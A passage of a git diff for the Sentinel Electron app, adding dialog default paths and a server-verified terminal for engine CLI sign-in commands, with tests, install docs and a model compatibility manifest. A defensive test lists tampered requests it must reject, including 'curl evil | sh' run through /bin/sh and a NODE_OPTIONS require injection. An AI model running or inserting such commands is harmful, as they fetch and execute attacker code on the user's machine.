path.join(root, "home"); + const codePath = path.join(homePath, "code"); + const notesPath = path.join(homePath, "notes"); + await mkdir(codePath, { recursive: true }); + await mkdir(notesPath, { recursive: true }); + + return { + codePath, + filePath: path.join(root, "userData", "dialog-paths.json"), + homePath, + notesPath, + }; +} + +afterEach(async () => { + await Promise.all( + tempRoots + .splice(0) + .map((root) => rm(root, { force: true, recursive: true })), + ); +}); + +describe("dialog default paths", () => { + it("starts in the fallback folder before the first pick", async () => { + const { filePath, homePath } = await createFixture(); + const dialogPaths = createDialogDefaultPaths({ + fallbackPath: homePath, + filePath, + }); + + expect(await dialogPaths.current("directory")).toBe(homePath); + expect(await dialogPaths.current("files")).toBe(homePath); + }); + + it("keeps a separate last folder per dialog kind", async () => { + const { codePath, filePath, homePath, notesPath } = await createFixture(); + const dialogPaths = createDialogDefaultPaths({ + fallbackPath: homePath, + filePath, + }); + + await dialogPaths.remember("directory", { + canceled: false, + filePaths: [path.join(codePath, "sentinel")], + }); + await dialogPaths.remember("files", { + canceled: false, + filePaths: [path.join(notesPath, "a.md"), path.join(notesPath, "b.md")], + }); + + expect(await dialogPaths.current("directory")).toBe(codePath); + expect(await dialogPaths.current("files")).toBe(notesPath); + }); + + it("restores the last folders after a restart", async () => { + const { codePath, filePath, homePath } = await createFixture(); + await createDialogDefaultPaths({ + fallbackPath: homePath, + filePath, + }).remember("directory", { + canceled: false, + filePaths: [path.join(codePath, "sentinel")], + }); + + const restarted = createDialogDefaultPaths({ + fallbackPath: homePath, + filePath, + }); + expect(await restarted.current("directory")).toBe(codePath); + expect(JSON.parse(await readFile(filePath, "utf8"))).toEqual({ + directory: codePath, + }); + }); + + it("ignores cancelled dialogs, deleted folders and unreadable state", async () => { + const { codePath, filePath, homePath } = await createFixture(); + const dialogPaths = createDialogDefaultPaths({ + fallbackPath: homePath, + filePath, + }); + + await dialogPaths.remember("directory", { + canceled: true, + filePaths: [path.join(codePath, "sentinel")], + }); + expect(await dialogPaths.current("directory")).toBe(homePath); + + await mkdir(path.dirname(filePath), { recursive: true }); + await writeFile( + filePath, + JSON.stringify({ directory: path.join(homePath, "gone") }), + ); + expect( + await createDialogDefaultPaths({ + fallbackPath: homePath, + filePath, + }).current("directory"), + ).toBe(homePath); + + await writeFile(filePath, "{not json"); + expect( + await createDialogDefaultPaths({ + fallbackPath: homePath, + filePath, + }).current("files"), + ).toBe(homePath); + }); +}); diff --git a/desktop/main/index.mjs b/desktop/main/index.mjs index 5b4230b8..dfcd0bdb 100644 --- a/desktop/main/index.mjs +++ b/desktop/main/index.mjs @@ -21,6 +21,8 @@ import * as nodePty from "node-pty"; import { DESKTOP_CHANNELS } from "../shared/channels.mjs"; import { createDesktopUpdaterController } from "./updater.mjs"; +import { createDialogDefaultPaths } from "./dialog-paths.mjs"; +import { prepareTerminalCommand } from "./terminal-commands.mjs"; import { configureDesktopPermissionHandlers, getDesktopMicrophonePermissionState, @@ -572,6 +574,23 @@ function killAllTerminalSessions() { } } +// A command terminal belongs to the page that started it: after a reload +// or a navigation nothing can reattach to it, so its sign-in command ends +// (the server-side flow can then be cancelled or started again). +function killCommandTerminalSessions() { + for (const [sessionId, session] of terminalSessions.entries()) { + if (session.kind !== "command") { + continue; + } + try { + session.pty.kill(); + } catch (error) { + console.warn(`[electron] failed to kill terminal ${sessionId}`, error); + cleanupTerminalSession(sessionId); + } + } +} + function createTerminalSession(cwd) { const sessionId = randomUUID(); ensureNodePtySpawnHelperExecutable(); @@ -629,6 +648,57 @@ function createTerminalSession(cwd) { }; } +// A terminal that runs one server-vended command (an engine CLI's sign-in) +// rather than a shell; see terminal-commands.mjs for how the request is +// checked against the server before anything is spawned. +async function createTerminalCommandSession(input) { + const prepared = await prepareTerminalCommand(input, { + internalToken: serverState?.internalToken ?? null, + serverUrl: + serverState?.url ?? + process.env.SENTINEL_APP_URL ?? + `http://localhost:${APP_PORT}`, + }); + const sessionId = randomUUID(); + ensureNodePtySpawnHelperExecutable(); + + const ptyProcess = nodePty.spawn(prepared.command, prepared.args, { + cols: prepared.cols, + cwd: prepared.cwd, + env: prepared.env, + name: prepared.env.TERM, + rows: prepared.rows, + }); + + terminalSessions.set(sessionId, { + createdAt: Date.now(), + cwd: prepared.cwd, + kind: "command", + pid: ptyProcess.pid, + pty: ptyProcess, + title: prepared.title, + }); + + ptyProcess.onData((data) => { + sendTerminalEvent(DESKTOP_CHANNELS.TERMINAL_DATA, sessionId, data); + }); + + ptyProcess.onExit(({ exitCode, signal }) => { + sendTerminalEvent( + DESKTOP_CHANNELS.TERMINAL_EXIT, + sessionId, + exitCode ?? 0, + signal ?? null, + ); + cleanupTerminalSession(sessionId); + }); + + return { + pid: ptyProcess.pid, + sessionId, + }; +} + function getWindowTitleBarOverlay(theme) { if (process.platform !== "win32") { return undefined; @@ -987,13 +1057,13 @@ function createWindow() { mainWindow.webContents.on( "console-message", - (_event, level, message, line, sourceId) => { + ({ level, lineNumber, message, sourceId }) => { if (process.env.NODE_ENV === "production") { return; } console.log( - `[electron:renderer:${level}] ${message} (${sourceId || "unknown"}:${line})`, + `[electron:renderer:${level}] ${message} (${sourceId || "unknown"}:${lineNumber})`, ); }, ); @@ -1002,6 +1072,15 @@ function createWindow() { configureBrowserGuestContents(guestContents, resolvedTheme); }); + mainWindow.webContents.on("did-start-navigation", (details) => { + if (details.isMainFrame && !details.isSameDocument) { + killCommandTerminalSessions(); + } + }); + mainWindow.webContents.on("render-process-gone", () => { + killCommandTerminalSessions(); + }); + mainWindow.webContents.on( "did-fail-load", async (_event, errorCode, errorDescription, validatedURL, isMainFrame) => { @@ -1540,7 +1619,7 @@ async function setDesktopComputerClipboard(text) { throw new Error("Clipboard text must be a string."); } - clipboard.writeText(text); + await clipboard.writeText(text); return { platform: "darwin", supported: true, @@ -1673,6 +1752,11 @@ async function runDesktopComputerActions(input) { } function registerIpc() { + const dialogDefaultPaths = createDialogDefaultPaths({ + fallbackPath: app.getPath("home"), + filePath: path.join(app.getPath("userData"), "dialog-paths.json"), + }); + ipcMain.handle(DESKTOP_CHANNELS.APP_LIST_SYSTEM_FONTS, async () => listSystemFontFamilies(), ); @@ -1683,7 +1767,7 @@ function registerIpc() { throw new Error("Clipboard text must be a string."); } - clipboard.writeText(text); + await clipboard.writeText(text); }, ); ipcMain.handle(DESKTOP_CHANNELS.COMPUTER_STATUS, async () => @@ -1746,8 +1830,10 @@ function registerIpc() { }); ipcMain.handle(DESKTOP_CHANNELS.PICK_DIRECTORY, async () => { const result = await dialog.showOpenDialog(mainWindow ?? undefined, { + defaultPath: await dialogDefaultPaths.current("directory"), properties: ["openDirectory"], }); + await dialogDefaultPaths.remember("directory", result); const selectedPath = result.filePaths[0]; if (result.canceled || !selectedPath) { @@ -1762,8 +1848,10 @@ function registerIpc() { ipcMain.handle(DESKTOP_CHANNELS.PICK_FILES, async () => { const result = await dialog.showOpenDialog(mainWindow ?? undefined, { + defaultPath: await dialogDefaultPaths.current("files"), properties: ["multiSelections", "openFile"], }); + await dialogDefaultPaths.remember("files", result); if (result.canceled || result.filePaths.length === 0) { return []; @@ -1854,6 +1942,11 @@ function registerIpc() { return createTerminalSession(normalizedPath); }); + ipcMain.handle( + DESKTOP_CHANNELS.TERMINAL_CREATE_COMMAND, + async (_event, input) => createTerminalCommandSession(input), + ); + ipcMain.on(DESKTOP_CHANNELS.TERMINAL_WRITE, (_event, sessionId, data) => { if (typeof sessionId !== "string" || typeof data !== "string") { return; diff --git a/desktop/main/terminal-commands.mjs b/desktop/main/terminal-commands.mjs new file mode 100644 index 00000000..de9a6149 --- /dev/null +++ b/desktop/main/terminal-commands.mjs @@ -0,0 +1,326 @@ +import { stat } from "node:fs/promises"; +import path from "node:path"; + +// Embedded terminals that run one command instead of a shell: the sign-in +// commands of engine CLIs (Settings → Engines). The renderer never chooses +// what runs. It passes the launch ticket of a server-side sign-in flow with +// the command it expects; Electron main redeems the ticket with the local +// server (once; POST /api/engines/auth/terminal), refuses the request unless +// it matches what the server answers, and spawns the server's command, +// never the renderer's. + +export const TERMINAL_COMMAND_REDEEM_PATH = "/api/engines/auth/terminal"; +export const INTERNAL_TOKEN_HEADER = "x-sentinel-internal-token"; + +const TICKET_PATTERN = /^[a-f0-9]{64}$/; +const ENV_NAME_PATTERN = /^[A-Za-z_][A-Za-z0-9_]{0,127}$/; +// Sentinel's own secrets never reach a child process (see spawn.ts). +const PRIVATE_ENV_KEYS = new Set(["ENCRYPTION_KEY", "SENTINEL_INTERNAL_TOKEN"]); +const LIMITS = { + argLength: 8_192, + args: 64, + cols: 500, + envEntries: 128, + envValueLength: 32_768, + pathLength: 4_096, + rows: 200, + titleLength: 128, +}; +const DEFAULT_REDEEM_TIMEOUT_MS = 5_000; + +const INVALID_REQUEST = "Invalid terminal command request."; +const UNAVAILABLE = + "This sign-in command is no longer available. Start the sign-in again."; + +function isPlainObject(value) { + return ( + typeof value === "object" && + value !== null && + !Array.isArray(value) && + Object.getPrototypeOf(value) === Object.prototype + ); +} + +function fail(message = INVALID_REQUEST) { + throw new Error(message); +} + +function readString(value, maxLength, { allowEmpty = false } = {}) { + if ( + typeof value !== "string" || + value.length > maxLength || + (!allowEmpty && value.length === 0) || + value.includes("\0") + ) { + fail(); + } + return value; +} + +function readArgs(value) { + if (!Array.isArray(value) || value.length > LIMITS.args) { + fail(); + } + return value.map((arg) => + readString(arg, LIMITS.argLength, { allowEmpty: true }), + ); +} + +function readEnv(value) { + if (!isPlainObject(value)) { + fail(); + } + const entries = Object.entries(value); + if (entries.length > LIMITS.envEntries) { + fail(); + } + const env = {}; + for (const [name, entryValue] of entries) { + if (!ENV_NAME_PATTERN.test(name) || PRIVATE_ENV_KEYS.has(name)) { + fail(); + } + env[name] = readString(entryValue, LIMITS.envValueLength, { + allowEmpty: true, + }); + } + return env; +} + +function readDimension(value, max) { + if (value === undefined || value === null) { + return null; + } + if (typeof value !== "number" || !Number.isFinite(value)) { + fail(); + } + return Math.min(max, Math.max(2, Math.floor(value))); +} + +function pathFor(platform) { + return platform === "win32" ? path.win32 : path.posix; +} + +/** + * Validates what the renderer sends: the ticket plus the command, args, + * cwd and env it expects to run (all strings, bounded). + * + * @param {unknown} input + */ +export function parseTerminalCommandRequest(input) { + if (!isPlainObject(input)) { + fail(); + } + const ticket = input.ticket; + if (typeof ticket !== "string" || !TICKET_PATTERN.test(ticket)) { + fail(); + } + if ( + input.windowsVerbatimArguments !== undefined && + typeof input.windowsVerbatimArguments !== "boolean" + ) { + fail(); + } + + return { + args: readArgs(input.args), + cols: readDimension(input.cols, LIMITS.cols), + command: readString(input.command, LIMITS.pathLength), + cwd: readString(input.cwd, LIMITS.pathLength), + env: readEnv(input.env), + rows: readDimension(input.rows, LIMITS.rows), + ticket, + title: + input.title === undefined + ? null + : readString(input.title, LIMITS.titleLength, { allowEmpty: true }), + windowsVerbatimArguments: input.windowsVerbatimArguments === true, + }; +} + +/** + * Validates the server's answer for a ticket: an absolute command and + * working directory, bounded args and env. + * + * @param {unknown} value + * @param {NodeJS.Platform} platform + */ +export function parseTerminalCommandSpec(value, platform = process.platform) { + if (!isPlainObject(value)) { + fail(UNAVAILABLE); + } + const paths = pathFor(platform); + const spec = { + args: readArgs(value.args), + command: readString(value.command, LIMITS.pathLength), + cwd: readString(value.cwd, LIMITS.pathLength), + env: readEnv(value.env), + title: readString(value.title ?? "Terminal", LIMITS.titleLength, { + allowEmpty: true, + }), + windowsVerbatimArguments: value.windowsVerbatimArguments === true, + }; + if (!paths.isAbsolute(spec.command) || !paths.isAbsolute(spec.cwd)) { + fail(UNAVAILABLE); + } + return spec; +} + +/** + * Asks the local server for the command a ticket stands for. The ticket is + * spent whatever the answer. + * + * @param {{ + * fetchImpl?: typeof fetch; + * internalToken?: string | null; + * platform?: NodeJS.Platform; + * serverUrl: string; + * ticket: string; + * timeoutMs?: number; + * }} options + */ +export async function redeemTerminalCommandTicket({ + fetchImpl = fetch, + internalToken = null, + platform = process.platform, + serverUrl, + ticket, + timeoutMs = DEFAULT_REDEEM_TIMEOUT_MS, +}) { + let response; + try { + response = await fetchImpl( + new URL(TERMINAL_COMMAND_REDEEM_PATH, serverUrl), + { + body: JSON.stringify({ ticket }), + headers: { + "content-type": "application/json", + ...(internalToken ? { [INTERNAL_TOKEN_HEADER]: internalToken } : {}), + }, + method: "POST", + signal: AbortSignal.timeout(timeoutMs), + }, + ); + } catch { + fail(UNAVAILABLE); + } + if (!response.ok) { + fail(UNAVAILABLE); + } + + return parseTerminalCommandSpec( + await response.json().catch(() => null), + platform, + ); +} + +function sameList(left, right) { + return ( + left.length === right.length && + left.every((value, index) => value === right[index]) + ); +} + +function sameRecord(left, right) { + const leftKeys = Object.keys(left).sort(); + const rightKeys = Object.keys(right).sort(); + return ( + sameList(leftKeys, rightKeys) && + leftKeys.every((key) => left[key] === right[key]) + ); +} + +/** Throws unless the renderer asked for exactly what the server vended. */ +export function assertTerminalCommandMatches(request, spec) { + if ( + request.command !== spec.command || + request.cwd !== spec.cwd || + request.windowsVerbatimArguments !== spec.windowsVerbatimArguments || + !sameList(request.args, spec.args) || + !sameRecord(request.env, spec.env) + ) { + fail("The terminal command does not match the sign-in request."); + } +} + +/** + * Main's environment (minus Sentinel's secrets), the command's variables on + * top, and a terminal type xterm.js renders. + * + * @param {Record} baseEnv + * @param {Record} specEnv + * @param {NodeJS.Platform} platform + */ +export function buildTerminalCommandEnv(baseEnv, specEnv, platform) { + const env = {}; + for (const [name, value] of Object.entries(baseEnv)) { + if (typeof value === "string" && !PRIVATE_ENV_KEYS.has(name)) { + env[name] = value; + } + } + for (const [name, value] of Object.entries(specEnv)) { + if (!PRIVATE_ENV_KEYS.has(name)) { + env[name] = value; + } + } + env.COLORTERM = "truecolor"; + env.TERM = platform === "win32" ? "xterm" : "xterm-256color"; + return env; +} + +async function isDirectoryPath(target) { + try { + return (await stat(target)).isDirectory(); + } catch { + return false; + } +} + +/** + * Everything node-pty needs to run a renderer's terminal command request, + * after the server confirmed it. + * + * @param {unknown} input + * @param {{ + * baseEnv?: Record; + * fetchImpl?: typeof fetch; + * internalToken?: string | null; + * isDirectory?: (target: string) => Promise; + * platform?: NodeJS.Platform; + * serverUrl: string; + * }} options + */ +export async function prepareTerminalCommand(input, options) { + const platform = options.platform ?? process.platform; + const request = parseTerminalCommandRequest(input); + const spec = await redeemTerminalCommandTicket({ + fetchImpl: options.fetchImpl, + internalToken: options.internalToken ?? null, + platform, + serverUrl: options.serverUrl, + ticket: request.ticket, + }); + assertTerminalCommandMatches(request, spec); + + if (!(await (options.isDirectory ?? isDirectoryPath)(spec.cwd))) { + fail("The sign-in command's working directory does not exist."); + } + + return { + // node-pty passes a string through as the Windows command line, which + // is what pre-quoted cmd.exe arguments need. + args: + platform === "win32" && spec.windowsVerbatimArguments + ? spec.args.join(" ") + : spec.args, + cols: request.cols ?? 100, + command: spec.command, + cwd: spec.cwd, + env: buildTerminalCommandEnv( + options.baseEnv ?? process.env, + spec.env, + platform, + ), + rows: request.rows ?? 24, + title: spec.title, + }; +} diff --git a/desktop/main/terminal-commands.test.mjs b/desktop/main/terminal-commands.test.mjs new file mode 100644 index 00000000..0a231c13 --- /dev/null +++ b/desktop/main/terminal-commands.test.mjs @@ -0,0 +1,219 @@ +import { describe, expect, it, mock } from "bun:test"; + +import { + assertTerminalCommandMatches, + buildTerminalCommandEnv, + INTERNAL_TOKEN_HEADER, + parseTerminalCommandRequest, + prepareTerminalCommand, + redeemTerminalCommandTicket, +} from "./terminal-commands.mjs"; + +const TICKET = "a".repeat(64); +const SPEC = { + args: ["auth", "login"], + command: "/opt/bin/claude", + cwd: "/Users/me", + env: { CLAUDE_CONFIG_DIR: "/cfg", PATH: "/managed/bin" }, + title: "Claude sign-in", +}; + +function request(overrides = {}) { + return { + args: SPEC.args, + command: SPEC.command, + cwd: SPEC.cwd, + env: SPEC.env, + ticket: TICKET, + title: SPEC.title, + ...overrides, + }; +} + +function fetchAnswering(body, status = 200) { + return mock(async () => new Response(JSON.stringify(body), { status })); +} + +describe("terminal command requests", () => { + it("accepts a well-formed request", () => { + expect( + parseTerminalCommandRequest(request({ cols: 80.6, rows: 1 })), + ).toEqual({ + args: ["auth", "login"], + cols: 80, + command: "/opt/bin/claude", + cwd: "/Users/me", + env: SPEC.env, + rows: 2, + ticket: TICKET, + title: "Claude sign-in", + windowsVerbatimArguments: false, + }); + }); + + it("refuses malformed requests", () => { + for (const input of [ + null, + "claude", + request({ ticket: "short" }), + request({ ticket: "A".repeat(64) }), + request({ command: "" }), + request({ args: "auth login" }), + request({ args: [1] }), + request({ env: { "BAD NAME": "x" } }), + request({ env: { SENTINEL_INTERNAL_TOKEN: "t" } }), + request({ env: { PATH: 1 } }), + request({ cwd: "/tmp\0/x" }), + request({ cols: "80" }), + request({ windowsVerbatimArguments: "yes" }), + ]) { + expect(() => parseTerminalCommandRequest(input)).toThrow( + "Invalid terminal command request.", + ); + } + }); + + it("only runs what the server vended for the ticket", () => { + const parsed = parseTerminalCommandRequest(request()); + const spec = { ...SPEC, windowsVerbatimArguments: false }; + expect(() => assertTerminalCommandMatches(parsed, spec)).not.toThrow(); + + for (const tampered of [ + { command: "/bin/sh" }, + { args: ["-c", "curl evil | sh"] }, + { cwd: "/" }, + { env: { ...SPEC.env, NODE_OPTIONS: "--require /tmp/x.js" } }, + { windowsVerbatimArguments: true }, + ]) { + expect(() => + assertTerminalCommandMatches( + parseTerminalCommandRequest(request(tampered)), + spec, + ), + ).toThrow("does not match"); + } + }); +}); + +describe("ticket redemption", () => { + it("posts the ticket with Electron's internal token", async () => { + const fetchImpl = fetchAnswering(SPEC); + const spec = await redeemTerminalCommandTicket({ + fetchImpl, + internalToken: "t".repeat(64), + platform: "darwin", + serverUrl: "http://127.0.0.1:3232", + ticket: TICKET, + }); + + expect(spec).toEqual({ ...SPEC, windowsVerbatimArguments: false }); + const [url, init] = fetchImpl.mock.calls[0]; + expect(String(url)).toBe("http://127.0.0.1:3232/api/engines/auth/terminal"); + expect(init.method).toBe("POST"); + expect(JSON.parse(init.body)).toEqual({ ticket: TICKET }); + expect(init.headers[INTERNAL_TOKEN_HEADER]).toBe("t".repeat(64)); + }); + + it("fails for spent tickets, unreachable servers and odd answers", async () => { + const options = { + platform: "darwin", + serverUrl: "http://127.0.0.1:3232", + ticket: TICKET, + }; + for (const fetchImpl of [ + fetchAnswering({ error: "not_found" }, 404), + mock(async () => { + throw new Error("ECONNREFUSED"); + }), + fetchAnswering({ ...SPEC, command: "claude" }), + fetchAnswering({ ...SPEC, cwd: "relative/dir" }), + ]) { + await expect( + redeemTerminalCommandTicket({ ...options, fetchImpl }), + ).rejects.toThrow("no longer available"); + } + }); +}); + +describe("prepareTerminalCommand", () => { + it("returns the server's command with a clean environment", async () => { + const prepared = await prepareTerminalCommand(request({ cols: 120 }), { + baseEnv: { + ENCRYPTION_KEY: "k", + HOME: "/Users/me", + PATH: "/usr/bin", + SENTINEL_INTERNAL_TOKEN: "t", + }, + fetchImpl: fetchAnswering(SPEC), + isDirectory: async () => true, + platform: "darwin", + serverUrl: "http://localhost:3232", + }); + + expect(prepared).toEqual({ + args: ["auth", "login"], + cols: 120, + command: "/opt/bin/claude", + cwd: "/Users/me", + env: { + CLAUDE_CONFIG_DIR: "/cfg", + COLORTERM: "truecolor", + HOME: "/Users/me", + PATH: "/managed/bin", + TERM: "xterm-256color", + }, + rows: 24, + title: "Claude sign-in", + }); + }); + + it("joins pre-quoted cmd.exe arguments on Windows", async () => { + const spec = { + args: ["/d", "/s", "/c", '"C:\\npm\\agent.cmd ^"login^""'], + command: "C:\\Windows\\System32\\cmd.exe", + cwd: "C:\\Users\\me", + env: {}, + title: "Cursor sign-in", + windowsVerbatimArguments: true, + }; + const prepared = await prepareTerminalCommand( + { ...spec, ticket: TICKET }, + { + baseEnv: {}, + fetchImpl: fetchAnswering(spec), + isDirectory: async () => true, + platform: "win32", + serverUrl: "http://localhost:3232", + }, + ); + expect(prepared.args).toBe('/d /s /c "C:\\npm\\agent.cmd ^"login^""'); + expect(prepared.env.TERM).toBe("xterm"); + }); + + it("refuses a missing working directory", async () => { + await expect( + prepareTerminalCommand(request(), { + baseEnv: {}, + fetchImpl: fetchAnswering(SPEC), + isDirectory: async () => false, + platform: "darwin", + serverUrl: "http://localhost:3232", + }), + ).rejects.toThrow("working directory does not exist"); + }); + + it("never lets the renderer's environment through", () => { + expect( + buildTerminalCommandEnv( + { SENTINEL_INTERNAL_TOKEN: "t", USER: "me" }, + { ENCRYPTION_KEY: "k", HOME: "/h" }, + "linux", + ), + ).toEqual({ + COLORTERM: "truecolor", + HOME: "/h", + TERM: "xterm-256color", + USER: "me", + }); + }); +}); diff --git a/desktop/preload/index.mjs b/desktop/preload/index.mjs index b09950d3..33c52368 100644 --- a/desktop/preload/index.mjs +++ b/desktop/preload/index.mjs @@ -91,6 +91,8 @@ contextBridge.exposeInMainWorld("sentinelDesktop", { }, terminal: { create: (cwd) => ipcRenderer.invoke(DESKTOP_CHANNELS.TERMINAL_CREATE, cwd), + createCommand: (input) => + ipcRenderer.invoke(DESKTOP_CHANNELS.TERMINAL_CREATE_COMMAND, input), write: (sessionId, data) => ipcRenderer.send(DESKTOP_CHANNELS.TERMINAL_WRITE, sessionId, data), resize: (sessionId, cols, rows) => @@ -104,8 +106,8 @@ contextBridge.exposeInMainWorld("sentinelDesktop", { ipcRenderer.removeListener(DESKTOP_CHANNELS.TERMINAL_DATA, handler); }, onExit: (callback) => { - const handler = (_event, sessionId, exitCode) => - callback(sessionId, exitCode); + const handler = (_event, sessionId, exitCode, signal) => + callback(sessionId, exitCode, signal ?? null); ipcRenderer.on(DESKTOP_CHANNELS.TERMINAL_EXIT, handler); return () => ipcRenderer.removeListener(DESKTOP_CHANNELS.TERMINAL_EXIT, handler); diff --git a/desktop/shared/channels.mjs b/desktop/shared/channels.mjs index cac416bf..dd6d9187 100644 --- a/desktop/shared/channels.mjs +++ b/desktop/shared/channels.mjs @@ -29,6 +29,7 @@ export const DESKTOP_CHANNELS = { WORKSPACE_OPEN_IN_TERMINAL: "sentinel:workspace-open-in-terminal", WORKSPACE_REVEAL_IN_FILE_MANAGER: "sentinel:workspace-reveal-in-file-manager", TERMINAL_CREATE: "sentinel:terminal-create", + TERMINAL_CREATE_COMMAND: "sentinel:terminal-create-command", TERMINAL_WRITE: "sentinel:terminal-write", TERMINAL_RESIZE: "sentinel:terminal-resize", TERMINAL_KILL: "sentinel:terminal-kill", diff --git a/docs/product/getting-started/install.md b/docs/product/getting-started/install.md index 19836212..ed2d4e09 100644 --- a/docs/product/getting-started/install.md +++ b/docs/product/getting-started/install.md @@ -10,9 +10,11 @@ Release builds are published on GitHub Releases: Current release targets: -- macOS: DMG -- Windows: NSIS installer -- Linux: AppImage, DEB, RPM +- macOS 13 (Ventura) or later: DMG +- Windows 10 or later, 64-bit: NSIS installer +- Linux x64 and arm64 with glibc 2.34 and libstdc++ from GCC 11 or newer (for example Ubuntu 22.04, Debian 12, Fedora 35, or RHEL 9): AppImage, DEB, RPM + +Sentinel runs on Electron 44, which no longer supports macOS 12, 32-bit Windows, or 32-bit ARM Linux. Copies already installed on macOS 12 keep working, but the in-app updater no longer offers them new versions. Linux notes: @@ -25,12 +27,14 @@ Linux notes: Sentinel uses Bun. -Source runs also need Node.js. Sentinel repairs native dependencies at startup by using prebuilt binaries when available and falling back to a local source build when a runtime, OS, or CPU combination does not have a matching prebuild. +Source runs also need Node.js 24 LTS (the version pinned in `.nvmrc`). Sentinel checks its native dependencies at startup: + +- `better-sqlite3` loads the N-API prebuild bundled for your OS and CPU and is never compiled locally. On Linux that prebuild needs glibc 2.34 and libstdc++ from GCC 11 or newer. +- `node-pty` uses its prebuilt binary on macOS and Windows. On Linux, `bun install` compiles it. If the binary does not load, the startup script rebuilds it locally. -Install platform build tools only if the native repair step asks for them: +Linux needs `build-essential`, `python3`, `make`, and `g++` for that `node-pty` build. On macOS and Windows, install build tools only if the native repair step asks for them: - macOS: Xcode Command Line Tools -- Linux: `build-essential`, `python3`, `make`, and `g++` - Windows: Visual Studio Build Tools with Desktop development with C++ ```bash @@ -43,6 +47,8 @@ The app runs at `http://localhost:3232`. `ENCRYPTION_KEY` can be left empty in `.env`. Sentinel generates one on first desktop launch. +`bun install` does not download the Electron binary. `bun run dev:desktop` and the desktop build commands fetch it on first use, or you can run `bun run electron:install` ahead of time. + ## Build commands ### macOS diff --git a/docs/product/reference/environment-and-build.md b/docs/product/reference/environment-and-build.md index 88ff9e3f..0a5145c8 100644 --- a/docs/product/reference/environment-and-build.md +++ b/docs/product/reference/environment-and-build.md @@ -12,9 +12,12 @@ ## Local development -Sentinel repairs native Node dependencies before local dev, builds, preview, and start commands. It uses prebuilt binaries when available and falls back to a local source build for runtime, OS, or CPU combinations without matching prebuilds. +Sentinel checks native Node dependencies before local dev, builds, preview, and start commands: -Source builds need platform build tools: +- `better-sqlite3` loads the N-API prebuild bundled for the current OS and CPU and is never compiled locally. The Linux prebuilds need glibc 2.34 and libstdc++ from GCC 11 or newer. `bun install` skips its lifecycle script (it is left out of `trustedDependencies` in `package.json`), so installs need no Python or C++ toolchain for it. +- `node-pty` uses its prebuilt binary on macOS and Windows and is compiled by `bun install` on Linux. When its binary does not load, the startup script rebuilds it from source. + +`node-pty` source builds need platform build tools: - macOS: Xcode Command Line Tools - Linux: `build-essential`, `python3`, `make`, and `g++` @@ -32,6 +35,8 @@ cp .env.example .env bun run dev:desktop ``` +`bun install` does not download the Electron binary (Electron 42 and later). `bun run dev:desktop` and the desktop build commands fetch it on first use, or you can run `bun run electron:install` ahead of time. + ## Build commands ### macOS diff --git a/manifests/engine-manifest.v1.json b/manifests/engine-manifest.v1.json new file mode 100644 index 00000000..ec9e724a --- /dev/null +++ b/manifests/engine-manifest.v1.json @@ -0,0 +1,854 @@ +{ + "schemaVersion": 1, + "updatedAt": "2026-10-08T12:00:00.000Z", + "compatibility": [ + { + "driver": "codex", + "sentinelRange": ">=0.0.66", + "recommendedRange": ">=0.160.0", + "ranges": [ + { + "range": ">=0.156.0", + "status": "supported" + }, + { + "range": ">=0.149.0 <0.156.0", + "status": "graceful", + "message": "Codex {version} predates the app-server protocol Sentinel targets (0.156): plan mode uses a fallback and rollback may fail. Update Codex to {recommended}." + }, + { + "range": "<0.149.0", + "status": "unsupported", + "message": "Codex {version} is older than the versions Sentinel is tested with, and some features may not work. Update Codex to {recommended}." + } + ] + }, + { + "driver": "claude", + "sentinelRange": ">=0.0.66", + "recommendedRange": ">=2.1.280", + "ranges": [ + { + "range": ">=2.1.280", + "status": "supported" + }, + { + "range": ">=2.1.111 <2.1.280", + "status": "graceful" + }, + { + "range": "<2.1.111", + "status": "unsupported" + } + ] + }, + { + "driver": "copilot", + "sentinelRange": ">=0.0.66", + "recommendedRange": ">=1.0.0", + "ranges": [ + { + "range": ">=1.0.0", + "status": "supported" + }, + { + "range": "<1.0.0", + "status": "unsupported", + "message": "Copilot CLI {version} predates the 1.0 runtime protocol Sentinel's Copilot SDK speaks. Update it, or clear the instance's binary path to use the runtime bundled with Sentinel." + } + ] + }, + { + "driver": "cursor", + "sentinelRange": ">=0.0.66", + "recommendedRange": ">=2026.5.9", + "ranges": [ + { + "range": ">=2026.5.9", + "status": "supported" + }, + { + "range": "<2026.5.9", + "status": "unknown" + } + ] + }, + { + "driver": "opencode", + "sentinelRange": ">=0.0.66", + "recommendedRange": ">=1.14.19 <2.0.0", + "recommendedVersion": "1.14.19", + "ranges": [ + { + "range": ">=2.0.0", + "status": "unsupported", + "message": "OpenCode {version} is the 2.x generation, which Sentinel does not support yet. Install OpenCode 1.x (npm i -g opencode-ai) to use it here." + }, + { + "range": ">=1.14.19 <2.0.0", + "status": "supported" + }, + { + "range": ">=1.0.224 <1.14.19", + "status": "graceful", + "message": "OpenCode {version} still works with Sentinel, but {recommended} is recommended. Update it with `opencode upgrade`." + }, + { + "range": "<1.0.224", + "status": "broken", + "message": "OpenCode {version} is too old for Sentinel, which needs 1.0.224 or newer. Update it with `opencode upgrade`." + } + ] + }, + { + "driver": "grok", + "sentinelRange": ">=0.0.66", + "recommendedRange": ">=1.0.13", + "ranges": [ + { + "range": ">=1.0.13", + "status": "supported" + }, + { + "range": "<1.0.13", + "status": "broken", + "message": "Grok {version} predates the Grok Build agent protocol Sentinel drives. Update it with `grok update`." + } + ] + }, + { + "driver": "antigravity", + "sentinelRange": ">=0.0.66", + "recommendedRange": ">=1.3.0", + "recommendedVersion": "1.3.0", + "ranges": [ + { + "range": ">=1.3.0", + "status": "supported" + }, + { + "range": "<1.3.0", + "status": "unknown" + } + ] + }, + { + "driver": "pi", + "sentinelRange": ">=0.0.66", + "recommendedRange": ">=1.0.0", + "ranges": [ + { + "range": ">=0.80.5", + "status": "supported" + }, + { + "range": "<0.80.5", + "status": "unsupported" + } + ] + } + ], + "drivers": { + "claude": { + "mode": "overlay", + "defaults": { + "chat": "claude-fable-5-1" + }, + "profiles": { + "opus-5-5": { + "contextWindow": 1000000, + "inputModalities": ["text", "image"], + "options": [ + { + "type": "select", + "id": "effort", + "label": "Reasoning effort", + "role": "reasoning", + "choices": [ + { + "id": "low", + "label": "Low" + }, + { + "id": "medium", + "label": "Medium", + "isDefault": true + }, + { + "id": "high", + "label": "High" + }, + { + "id": "xhigh", + "label": "Extra high" + }, + { + "id": "max", + "label": "Max" + } + ] + }, + { + "type": "boolean", + "id": "fastMode", + "label": "Fast mode", + "role": "fast", + "defaultValue": false + } + ] + }, + "sonnet-5-5": { + "contextWindow": 1000000, + "inputModalities": ["text", "image"], + "options": [ + { + "type": "select", + "id": "effort", + "label": "Reasoning effort", + "role": "reasoning", + 